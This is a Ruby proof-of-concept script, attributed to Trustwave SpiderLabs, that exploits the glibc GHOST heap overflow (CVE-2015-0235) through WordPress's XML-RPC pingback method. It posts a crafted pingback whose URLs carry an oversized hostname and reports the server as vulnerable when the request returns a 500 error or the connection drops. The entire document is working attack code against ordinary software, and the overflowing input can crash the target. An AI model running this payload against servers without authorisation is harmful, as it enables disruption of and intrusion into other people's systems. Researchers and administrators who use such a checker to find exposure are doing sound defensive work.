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GHOST gethostbyname() Vuln (CVE-2015-0235) - Wordpress XML-RPC Pingback Vector
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# | |
# --[ Trustwave SpiderLabs Research Team ]-- | |
# Ref: http://blog.spiderlabs.com/2015/01/ghost-gethostbyname-heap-overflow-in-glibc-cve-2015-0235.html | |
# | |
require "net/http" | |
require "uri" | |
if ARGV.count != 2 | |
puts "Usage: #{ARGV[0]} [Target URL] [count]" | |
exit | |
end | |
matched = ARGV[0].match(/(?<domain>[^\/]*)(?<path>\/.*)(\/xmlrpc.php)?/) | |
uri = URI.parse("http://#{matched[:domain]}") | |
ghost_host = "0"*ARGV[1].to_i | |
# Set up POST request | |
payload = <<_EOF_ | |
<?xml version="1.0"?> | |
<methodCall> | |
<methodName>pingback.ping</methodName> | |
<params><param><value> | |
<string>http://#{ghost_host}/index.php</string> | |
</value></param> | |
<param><value> | |
<string>http://#{ghost_host}/index.php</string> | |
</value></param> | |
</params> | |
</methodCall> | |
_EOF_ | |
begin | |
Net::HTTP.start(uri.host, uri.port) do |http| | |
response = http.post("#{matched[:path]}/xmlrpc.php", payload) | |
if response.code == "500" | |
puts "Vulnerable" | |
else | |
puts "Looks like you're safe, for today" | |
end | |
end | |
rescue EOFError | |
puts "Vulnerable" | |
end |
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